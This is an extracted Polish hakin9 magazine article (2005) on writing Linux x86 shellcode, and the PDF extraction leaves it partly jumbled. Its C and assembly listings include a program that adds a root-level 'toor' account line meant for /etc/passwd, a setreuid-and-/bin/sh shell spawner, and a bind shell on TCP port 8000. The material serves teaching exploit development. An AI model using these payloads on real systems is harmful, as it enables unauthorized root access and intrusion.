Optymalizacja-szelkodow-w-linuksie.pdf

(1432 KB) Pobierz
291259160 UNPDF
Optymalizacja szelkodów
w Linuksie
Michał Piotrowski
Artykuł opublikowany w numerze 4/2005 magazynu hakin9 . Zapraszamy do lektury całego magazynu.
Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie artykułu dozwolone
pod warunkiem zachowania jego obecnej formy i treści.
Magazyn hakin9 , Software-Wydawnictwo, ul. Piaskowa 3, 01-067 Warszawa , pl@hakin9.org
291259160.014.png
Optymalizacja
szelkodów w Linuksie
Michał Piotrowski
Szelkod jest nieodłącznym
elementem każdego eksploita.
Podczas ataku zostaje
wstrzyknięty do działającego
programu i w kontekście tego
programu wykonuje zadane
operacje. Znajomość budowy
i sposobu działania kodu
powłoki, mimo że nie wymaga
nadzwyczajnych umiejętności,
nie jest jednak powszechna.
nazywanych również kodem bajtowym.
Jest jednym z najważniejszych elemen-
tów eksploitów wykorzystujących błędy typu
przepełnienie bufora ( buffer overlow ). Podczas
ataku zostaje wstrzyknięty przez eksploita do
działającego programu i w kontekście tego pro-
gramu wykonuje operacje wskazane przez wła-
mywacza. Nazwa szelkod – kod powłoki, ang.
shellcode – pochodzi od pierwszych kodów, któ-
re miały za zadanie wywołać powłokę (w syste-
mach uniksowych powłoką jest program /bin/sh ).
Obecnie tym terminem określa się kody, które
wykonują bardzo różnorodne zadania.
Kod powłoki musi spełniać ściśle określone
warunki. Przede wszystkim nie może zawierać
bajtów zerowych ( null byte , 0x00). Oznaczają
one koniec ciągu znaków i przerywają działa-
nie najczęściej używanych do przepełniania
buforów funkcji – strcpy , strcat , sprintf , gets
i tym podobnych. Ponadto, szelkod musi być
samodzielny i niezależny od położenia w pa-
mięci, co oznacza, że nie można w nim stoso-
wać adresowania statycznego. Innymi cechami
kodu powłoki, które w pewnych sytuacjach mo-
gą być ważne, są jego wielkość i zestaw zna-
ków ASCII, z których się składa.
Sprawdźmy, jak w praktyce wygląda two-
rzenie szelkodów. Napiszemy cztery funkcjo-
nalnie różne programy, a następnie będzie-
my modyikować je tak, aby zmniejszyć ich
objętość i aby możliwe było ich wykorzysta-
nie w rzeczywistych eksploitach. Skupimy się
przy tym wyłącznie na budowaniu kodu powło-
ki – nie będziemy poruszać zagadnień związa-
nych z samymi błędami przepełnienia bufora
czy budową eksploitów jako takich.
Aby stworzyć poprawny, działający szel-
kod, należy dobrze rozumieć język asemble-
ra dla procesora, na którym ma być wykony-
wany (patrz Ramka Rejestry i instrukcje ). My
będziemy trenować na 32-bitowych proce-
Z artykułu dowiesz się...
• jak napisać poprawny kod powłoki,
• jak go modyikować i zmniejszać.
Co powinieneś wiedzieć...
• powinieneś umieć korzystać z systemu Linux,
• powinieneś znać podstawy programowania
w C i asemblerze.
2
www.hakin9.org
hakin9 Nr 4/2005
S zelkod to zbiór instrukcji maszynowych,
291259160.015.png 291259160.016.png
Szelkod w Linuksie
Rejestry i instrukcje
Rejestry (patrz Tabela 1) to znajdują-
ce się w procesorze niewielkie komór-
ki pamięci, które służą do przechowy-
wania wartości liczbowych i są wyko-
rzystywane przez procesor podczas
wykonywania każdego programu.
W 32-bitowych procesorach x86 reje-
stry mają wielkość 32 bitów (4 bajtów).
Ze względu na przeznaczenie możemy
je podzielić na rejestry danych (EAX,
EBX, ECX, EDX) oraz rejestry adreso-
we (ESI, EDI, ESP, EBP, EIP).
Rejestry danych dzielą się na mniej-
sze, 16-bitowe (AX, BX, CX, DX) i 8-bi-
towe (AH, AL, BH, BL, CH, CL, DH, DL)
fragmenty – możemy z nich korzystać,
aby zmniejszyć wielkość kodu i pozbyć
się bajtów zerowych (patrz Rysunek 1).
Natomiast większość rejestrów adreso-
wych ma ściśle określone znaczenie
i nie powinno się ich używać do prze-
chowywania dowolnych danych.
Tabela 1. Rejestry procesora x86 i ich przeznaczenie
Nazwa rejestru
Przeznaczenie
EAX, AX, AH, AL – akumu-
lator
Operacje arytmetyczne, operacje wejścia/
wyjścia i określanie wywołania systemowe-
go, które chcemy wykonać. Zawiera rów-
nież wartość zwracaną przez wywołanie
systemowe.
Używany do pośredniego adresowania pa-
mięci, przechowuje pierwszy argument wy-
wołania systemowego.
ECX, CX, CH, CL – licznik Najczęściej używany jako licznik do pę-
tli, przechowuje drugi argument wywołania
systemowego.
EDX, DX, DH, DL – rejestr
danych
Używany do przechowywania adresów
zmiennych, przechowuje trzeci argument
wywołania systemowego.
ESI – adres źródłowy, EDI
– adres docelowy
Najczęściej służą do wykonywania operacji
na długich łańcuchach danych, w tym napi-
sach i tablicach.
ESP – wskaźnik wierzchoł-
ka stosu
Zawiera adres wierzchołka stosu.
sorach x86 i systemie Linux z ją-
drem 2.4, choć wszystkie oma-
wiane przykłady kompilują się
i działają poprawnie również w syste-
mach z kernelem serii 2.6. Mamy do
wyboru dwa główne rodzaje składni
asemblera: tę stworzoną przez AT&T
oraz składnię Intela. Mimo że skład-
nia AT&T jest używana przez więk-
szość kompilatorów i programów de-
asemblujących – w tym gcc czy gdb
– my będziemy korzystać ze skład-
ni Intela (jest bardziej czytelna).
Wszystkie przykłady będziemy kom-
pilować programem Netwide Assem-
bler ( nasm ) w wersji 0.98.35, dostęp-
nym w prawie każdej dystrybucji Li-
nuksa. Wykorzystamy również pro-
gramy ndisasm oraz hexdump .
Instrukcje języka asembler są ni-
czym innym jak symbolicznie zapisa-
nymi rozkazami dla procesora. Jest
Zawiera adres dna stosu. Używany do od-
woływania się do zmiennych lokalnych,
znajdujących się w aktualnej ramce stosu.
EIP – wskaźnik instrukcji Zawiera adres kolejnej instrukcji do wyko-
nania.
Tabela 2. Najważniejsze instrukcje asemblera
Instrukcja
Opis
mov – instrukcja przenie-
sienia
Kopiuje zawartość jednego fragmentu pamięci
do innego: mov <cel>, <źródło> .
push – instrukcja odłoże-
nia na stosie
Kopiuje na stos zawartość wskazanego frag-
mentu pamięci: push <źródło> .
pop – instrukcja pobrania
ze stosu
Przenosi wartość ze stosu do wskazanego
fragmentu pamięci: pop <cel> .
add – instrukcja dodawa-
nia
Dodaje zawartość jednego fragmentu pamięci
do innego: add <cel>, <źródło> .
Odejmuje zawartość jednego fragmentu pa-
mięci od innego: sub <cel>, <źródło> .
xor – różnica symetryczna Oblicza różnicę symetryczną wskazanych
fragmentów pamięci: xor <cel>, <źródło> .
jmp – instrukcja skoku Zmienia wartość rejestru EIP na określony ad-
res: jmp <adres> .
call – instrukcja wywo-
łania
Działa podobnie jak instrukcja jmp , ale przed
zmianą wartości rejestru EIP odkłada na stos
adres kolejnej instrukcji: call <adres> .
Umieszcza we wskazanym fragmencie pamię-
ci <cel> adres innego fragmentu <źródło> : lea
<cel>, <źródło> .
int – przerwanie Przesyła określony sygnał do jądra systemu,
wywołując przerwanie o określonym numerze:
int <wartość> .
Rysunek 1. Budowa rejestru EAX
hakin9 Nr 4/2005
www.hakin9.org
3
EBX, BX, BH, BL – rejestr
bazowy
EBP – wskaźnik bazowy,
wskaźnik ramki
sub – instrukcja odejmo-
wania
lea – instrukcja załadowa-
nia adresu
291259160.017.png 291259160.001.png 291259160.002.png 291259160.003.png 291259160.004.png 291259160.005.png
Listing 1. Plik write.c
Listing 4. Plik bind.c
mentujemy, bezpieczniej będzie nie
modyikować pliku haseł.
Trzeci program, shell , jest ty-
powym kodem powłoki. Jego za-
danie to uruchomienie programu
/bin/sh po uprzednim wykonaniu
funkcji setreuid(0, 0) , która przywra-
ca procesowi jego prawdziwe upraw-
nienia (ma to sens w sytuacji, gdy
atakujemy program suid , który ze
względów bezpieczeństwa pozby-
wa się swoich uprawnień). Program
shell jest widoczny na Listingu 3.
Ostatni, najbardziej zaawansowa-
ny z naszych programów (o nazwie
bind ) jest pokazany na Listingu 4.
Po uruchomieniu zaczyna nasłuchi-
wać na porcie 8000 TCP i w chwi-
li, gdy odbierze połączenie przeka-
zuje komunikację do uruchomionej
powłoki. Ten mechanizm działania
jest typowy dla większości eksplo-
itów wykorzystujących podatności
w serwerach sieciowych.
Proces kompilacji wszystkich
programów i efekt ich działania
przedstawia Rysunek 2.
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
main ()
{
char * line = "hello, world! \n " ;
write ( 1 , line , strlen ( line ));
exit ( 0 );
}
int main ()
{
char * name [ 2 ];
int fd1 , fd2 ;
struct sockaddr_in serv ;
name [ 0 ] = "/bin/sh" ;
name [ 1 ] = NULL ;
serv . sin_addr . s_addr = 0 ;
serv . sin_port = htons ( 8000 );
serv . sin_family = AF_INET ;
fd1 = socket ( AF_INET ,
SOCK_STREAM , 0 );
bind ( fd1 , ( struct
sockaddr *)& serv , 16 );
listen ( fd1 , 1 );
fd2 = accept ( fd1 , 0 , 0 );
dup2 ( fd2 , 0 );
dup2 ( fd2 , 1 );
dup2 ( fd2 , 2 );
execve ( name [ 0 ] , name , NULL );
}
Listing 2. Plik add.c
#include <stdio.h>
#include <fcntl.h>
main ()
{
char * name = "/ile" ;
char * line =
"toor:x:0:0::/:/bin/bash \n " ;
int fd ;
fd = open ( name ,
O_WRONLY | O_APPEND );
write ( fd , line , strlen ( line ));
close ( fd );
exit ( 0 );
}
się na najważniejszych, czyli tych,
z których będziemy korzystać. Ich
opis, wraz z przykładem zastosowa-
nia, znajduje się w Tabeli 2.
Listing 3. Plik shell.c
Przechodzimy
do asemblera
Teraz, gdy już wiemy, że nasze pro-
gramy działają poprawnie, może-
my wykonać drugi krok i przepisać je
w asemblerze. Generalnie naszym ce-
lem jest wykonanie tych samych funk-
cji systemowych, z których korzystają
programy napisane w C. Aby to zrobić
musimy jednak wiedzieć, jakie nume-
ry przyporządkowano tym funkcjom w
naszym systemie – możemy się tego
dowiedzieć zaglądając do pliku /usr/
include/asm/unistd.h . I tak, funkcja
write ma numer 4, exit – 1, open – 5,
close – 6, setreuid –70, execve –11,
a dup2 – 63. Nieco inaczej wygląda
sytuacja z funkcjami operującymi na
gniazdach: funkcje socket , bind , listen
i accept są realizowane przez jedno
wywołanie systemowe – socketcall
– o numerze 102.
Musimy również zadbać o to,
aby te funkcje otrzymały odpowied-
nie argumenty. W przypadku pierw-
szego programu, który korzysta tylko
z write i exit , sprawa jest prosta.
Funkcja write przyjmuje trzy argumen-
ty. Pierwszy z nich określa deskryptor
#include <stdio.h>
Budujemy kod powłoki
Naszym celem jest napisane czte-
rech kodów powłoki, z których
pierwszy wypisuje tekst na stan-
dardowym wyjściu, drugi doda-
je wpis do pliku, trzeci uruchamia
powłokę, a czwarty dowiązuje po-
włokę do portu TCP. Zaczniemy od
stworzenia tych programów w języ-
ku C, gdyż znacznie łatwiej będzie
przepisać gotowy program na język
asemblera niż tworzyć go od razu
w docelowej formie.
Kod źródłowy pierwszego pro-
gramu o nazwie write przedstawio-
no na Listingu 1. Jego jedynym prze-
znaczeniem jest wypisanie na stan-
dardowym wyjściu wiadomości prze-
chowywanej w zmiennej line .
Listing 2 przedstawia drugi pro-
gram – add . Jego zadaniem jest
otworzenie pliku /ile w trybie do za-
pisu (plik może być pusty, ale musi
istnieć) i dodanie do niego linii toor:
x:0:0::/:/bin/bash . Tak naprawdę
powinniśmy ten wpis dodać do pliku
/etc/passwd , ale teraz, gdy ekspery-
main ()
{
char * name [ 2 ];
name [ 0 ] = "/bin/sh" ;
name [ 1 ] = NULL ;
setreuid ( 0 , 0 );
execve ( name [ 0 ] ,
name , NULL );
}
ich jest bardzo dużo, dzielą się mię-
dzy innymi na instrukcje:
• przeniesienia ( mov , push , pop ),
• arytmetyczne ( add , sub , inc , neg ,
mul , div ),
• logiczne ( and , or , xor , not ),
• sterujące ( jmp , call , int , ret ),
• operujące na bitach, bajtach
i łańcuchach znaków ( shl , shr ,
rol , ror ),
• wejścia/wyjścia ( in , out ),
• kontroli lag.
Nie będziemy tutaj omawiać wszyst-
kich dostępnych instrukcji – skupimy
4
www.hakin9.org
hakin9 Nr 4/2005
291259160.006.png 291259160.007.png 291259160.008.png
 
291259160.009.png 291259160.010.png 291259160.011.png
Szelkod w Linuksie
pliku, do którego będziemy pisać, dru-
gi to wskaźnik do bufora zawierające-
go dane źródłowe, a trzeci jest liczbą
określającą ile znaków chcemy zapi-
sać. Funkcja exit przyjmuje tylko je-
den argument, który określa status,
z jakim kończymy działanie.
tor. Pomiędzy liniami 9 a 13 oraz 16
a 18 znajdują się instrukcje przygo-
towujące i wykonujące funkcje write
i exit . Prześledźmy ich działanie.
Najpierw w rejestrze EAX
umieszczamy wartość wywołania
systemowego, które chcemy wy-
konać ( write ma numer 4), a w re-
jestrach podajemy jego argumen-
ty: EBX – deskryptor standardo-
wego wyjścia (ma numer 1), ECX
– adres początku ciągu, który chce-
my wypisać (jest przechowywany w
zmiennej msg ), EDX – długość na-
szego ciągu (wraz ze znakiem koń-
ca wiersza wynosi 14). Następnie
wykonujemy instrukcję int 0x80 , któ-
ra powoduje przejście w tryb kernela
i wykonanie wskazanej funkcji syste-
mowej. Podobnie wygląda sytuacja
z funkcją exit : najpierw ustawiamy
rejestr EAX na jej numer (1), w re-
jestrze EBX wpisujemy 0 i ponownie
przechodzimy w tryb jądra. Sposób
Listing 5. Plik write1.asm
1 : section . data
2 : msg db 'hello, world!' , 0x0a
3 :
4 : section . text
5 : global _start
6 : _start :
7 :
8 : ; write(1, msg, 14)
9 : mov eax , 4
10 : mov ebx , 1
11 : mov ecx , msg
12 : mov edx , 14
13 : int 0x80
14 :
15 : ; exit(0)
16 : mov eax , 1
17 : mov ebx , 0
18 : int 0x80
Write
Odpowiednik programu write w po-
staci kodu źródłowego języka asem-
bler jest widoczny na Listingu 5.
W liniach 1 i 4 znajdują się dekla-
racje sekcji danych ( .data ) i ko-
du ( .text ). W linii 6 mamy domyśl-
ny punkt wejścia dla konsolida-
cji ELF, który ze względu na linker
ld musi być symbolem globalnym
(linia 5). W linii 2 deiniujemy zmien-
msg – ciąg znaków, zadeklarowa-
nych jako bajty (dyrektywa db ), za-
kończony znakiem końca wiersza
( 0x0a ). Linie 8 i 15 zawierają komen-
tarze i są ignorowane przez kompila-
kompilacji i efekt działania naszego
pierwszego programu napisanego
w asemblerze prezentuje Rysunek 3.
Add
Na Listingu 6 znajduje się przetłu-
maczony na asembler kod źródłowy
drugiego programu, add . Jest on nie-
co bardziej skomplikowany.
Na początku, w sekcji danych,
deklarujemy dwie zmienne znakowe
name i line . Zawierają one nazwę pli-
ku do modyikacji i wiersz, który chce-
my dodać. Działanie zaczynamy od
otworzenia pliku /ile , umieszczając
w rejestrze EAX wartość funkcji open
(5) i podając jej dwa parametry:
• w rejestrze EBX zapisujemy ad-
res zmiennej name ,
• w rejestrze ECX umieszczamy
wartość 1025, która jest liczbo-
wą reprezentacją kombinacji lag
O _ WRONLY i O _ APPEND .
Rysunek 2. Kompilacja i działanie programów write, add, shell oraz bind
Po wykonaniu, funkcja open zwra-
ca liczbę (umieszcza ją w rejestrze
EAX), która jest numerem deskryp-
tora otwartego przez nas pliku. Bę-
dziemy jej potrzebować do wykona-
nia funkcji write i close , więc w linii 15
przenosimy ją do rejestru EBX. Dzięki
temu kolejna funkcja, którą wykonuje-
my ( write ) ma już pierwszy argument
(numer deskryptora) na właściwym
miejscu, czyli w rejestrze EBX. Na-
stępnie w rejestrze EAX zapisujemy
4, a w ECX – 24 (długość dodawane-
hakin9 Nr 4/2005
www.hakin9.org
5
291259160.012.png 291259160.013.png
Zgłoś jeśli naruszono regulamin